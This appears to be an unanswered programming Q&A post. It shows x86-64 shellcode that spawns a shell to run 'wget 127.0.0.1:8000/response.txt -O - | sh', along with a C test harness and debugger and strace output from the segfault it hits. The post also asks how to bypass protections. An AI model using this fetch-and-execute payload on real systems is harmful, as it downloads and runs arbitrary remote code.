0

I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:

[bits 64]
global _start
section .text
    _start: 
    xor rcx, rcx
    push rcx    ; first 4
    mov rcx, "/bin//sh"
    push rcx    ; second 4 (8)
    
    mov rdi, rsp    ; /bin/sh
    
    xor rcx, rcx        ; "/bin/sh"
    push rcx
    mov rcx, "/bin//sh"
    push rcx
    mov rdx, rsp    ; save to rdx

    xor rcx, rcx        ; "-c"
    push rcx
    mov cx, "-c"
    push rcx
    mov rbx, rsp    ; save to rbx   

    xor rcx, rcx        ; "/bin/wget 127.0.0.1:8000/response.txt -O - | sh"
    push rcx
    mov rcx, " - | sh "
    push rcx

    xor rcx, rcx
    mov rcx, "e.txt -O"
    push rcx
    
    xor rcx, rcx
    mov rcx, "/respons"
    push rcx
    
    xor rcx, rcx
    mov rcx, "0.1:8000"
    push rcx
    
    xor rcx, rcx
    mov rcx, "t 127.0."
    push rcx

    xor rcx, rcx
    mov rcx, "/bin/wge"
    push rcx
    mov rax, rsp    ; save to rax

    xor rcx, rcx
    push rcx
    
    push rax
    push rbx
    push rdx

    xor rax, rax
    mov al, 59
    mov rsi, rsp
    xor rdx, rdx
    cdq
    syscall

When compiled and linked with nasm -f elf64 file.asm && ld file.o -o file, the resulting binary works without a problem on my 5.15.0 kernel

$ ./ev_shellcode 
--2022-09-25 04:54:57--  http://127.0.0.1:8000/response.txt
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22 [text/plain]
Saving to: 'STDOUT'

-                                                  100%[================================================================================================================>]      22  --.-KB/s    in 0s      

2022-09-25 04:54:57 (1.83 MB/s) - written to stdout [22/22]

However, when I try to include this program as shellcode in C, I get a segfault (compiled with gcc -Wall --std=c99 -g -O0 -m64 -no-pie -z execstack -fno-stack-protector shellcode_test.c -o shellcode_test)

#include <unistd.h>
#include <sys/mman.h>
#include <unistd.h>

const char shellcode[] = "\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe7\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe2\x48\x31\xc9\x51\x66\xb9\x2d\x63\x51\x48\x89\xe3\x48\x31\xc9\x51\x48\xb9\x20\x2d\x20\x7c\x73\x68\x20\x51\x48\x31\xc9\x48\xb9\x65\x2e\x74\x78\x20\x2d\x4f\x51\x48\x31\xc9\x48\xb9\x2f\x72\x65\x73\x6f\x6e\x73\x51\x48\x31\xc9\x48\xb9\x30\x2e\x31\x3a\x30\x30\x30\x51\x48\x31\xc9\x48\xb9\x74\x20\x31\x32\x2e\x30\x2e\x51\x48\x31\xc9\x48\xb9\x2f\x62\x69\x6e\x77\x67\x65\x51\x48\x89\xe0\x48\x31\xc9\x51\x50\x53\x52\x48\x31\xc0\xb0\x3b\x48\x89\xe6\x48\x31\xd2\x99\x0f\x05";

int main() {
  long page_size = sysconf(_SC_PAGESIZE);
  void *page_start = (void *) ((long) shellcode & -page_size);
  if (mprotect(page_start, page_size * 2, PROT_READ | PROT_EXEC)) {
    perror("mprotect");
  } else {
    (*(void(*)())shellcode)();
  }
}
~             

GDB-GEF:

Program received signal SIGSEGV, Segmentation fault.
0x00000000004020bc in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffffe
$rbx   : 0x007fffffffdd68  →  0x0000000000632d ("-c"?)
$rcx   : 0x000000004020b5  →  <shellcode+149> add BYTE PTR [rbp+0x70], ch
$rdx   : 0x0               
$rsp   : 0x007fffffffdd40  →  0x007fffffffdd78  →  0x0000000000000000
$rbp   : 0x007fffffffdda0  →  0x0000000000000001
$rsi   : 0x007fffffffdd40  →  0x007fffffffdd78  →  0x0000000000000000
$rdi   : 0x007fffffffdd80  →  0x0000000000000000
$rip   : 0x000000004020bc  →  0x3b031b0100007463 ("ct"?)
$r8    : 0x007ffff7f8bf10  →  0x0000000000000004
$r9    : 0x007ffff7fc9040  →  <_dl_fini+0> endbr64 
$r10   : 0x007ffff7d792e0  →  0x000f0022000056ec
$r11   : 0x246             
$r12   : 0x007fffffffdeb8  →  0x007fffffffe227  →  "/home/user/Desktop/playground/ASM/shellcode_test"
$r13   : 0x00000000401176  →  <main+0> endbr64 
$r14   : 0x00000000403e18  →  0x00000000401140  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd40│+0x0000: 0x007fffffffdd78  →  0x0000000000000000    ← $rsp, $rsi
0x007fffffffdd48│+0x0008: 0x007fffffffdd68  →  0x0000000000632d ("-c"?)
0x007fffffffdd50│+0x0010: 0x007fffffffdd60  →  0x0000000000000000
0x007fffffffdd58│+0x0018: 0x0000000000000000
0x007fffffffdd60│+0x0020: 0x0000000000000000
0x007fffffffdd68│+0x0028: 0x0000000000632d ("-c"?)   ← $rbx
0x007fffffffdd70│+0x0030: 0x0000000000000000
0x007fffffffdd78│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4020b5 <shellcode+149>  add    BYTE PTR [rbp+0x70], ch
     0x4020b8                  jb     0x402129
     0x4020ba                  je     0x402121
 →   0x4020bc                  movsxd esi, DWORD PTR [rax+rax*1+0x0]
     0x4020c0 <__GNU_EH_FRAME_HDR+0> add    DWORD PTR [rbx], ebx
     0x4020c2 <__GNU_EH_FRAME_HDR+2> add    edi, DWORD PTR [rbx]
     0x4020c4 <__GNU_EH_FRAME_HDR+4> xor    al, 0x0
     0x4020c6 <__GNU_EH_FRAME_HDR+6> add    BYTE PTR [rax], al
     0x4020c8 <__GNU_EH_FRAME_HDR+8> add    eax, 0x60000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode_test", stopped 0x4020bc in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4020bc → movsxd esi, DWORD PTR [rax+rax*1+0x0]
[#1] 0x7fffffffdd78 → add BYTE PTR [rax], al
[#2] 0x7fffffffdd68 → sub eax, 0x63
[#3] 0x7fffffffdd60 → add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

strace:

strace ./shellcode_test
execve("./shellcode_test", ["./shellcode_test"], 0x7fffffffdf20 /* 59 vars */) = 0
brk(NULL)                               = 0x405000
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffffffdd50) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fbb000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=136203, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 136203, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7f99000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0i8\235HZ\227\223\333\350s\360\352,\223\340."..., 68, 896) = 68
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2216304, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2260560, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7d71000
mmap(0x7ffff7d99000, 1658880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7ffff7d99000
mmap(0x7ffff7f2e000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7ffff7f2e000
mmap(0x7ffff7f86000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x214000) = 0x7ffff7f86000
mmap(0x7ffff7f8c000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7f8c000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7d6e000
arch_prctl(ARCH_SET_FS, 0x7ffff7d6e740) = 0
set_tid_address(0x7ffff7d6ea10)         = 238779
set_robust_list(0x7ffff7d6ea20, 24)     = 0
rseq(0x7ffff7d6f0e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7ffff7f86000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ)     = 0
mprotect(0x7ffff7ffb000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7ffff7f99000, 136203)          = 0
mprotect(0x402000, 8192, PROT_READ|PROT_EXEC) = 0
execve("", ["", "-c", ""], NULL)        = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

checksec:

Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Is this a new protection feature by Linux or GCC? If so, is there a way to bypass it?

Vilius Povilaika
  • 972
  • 8
  • 20

0 Answers0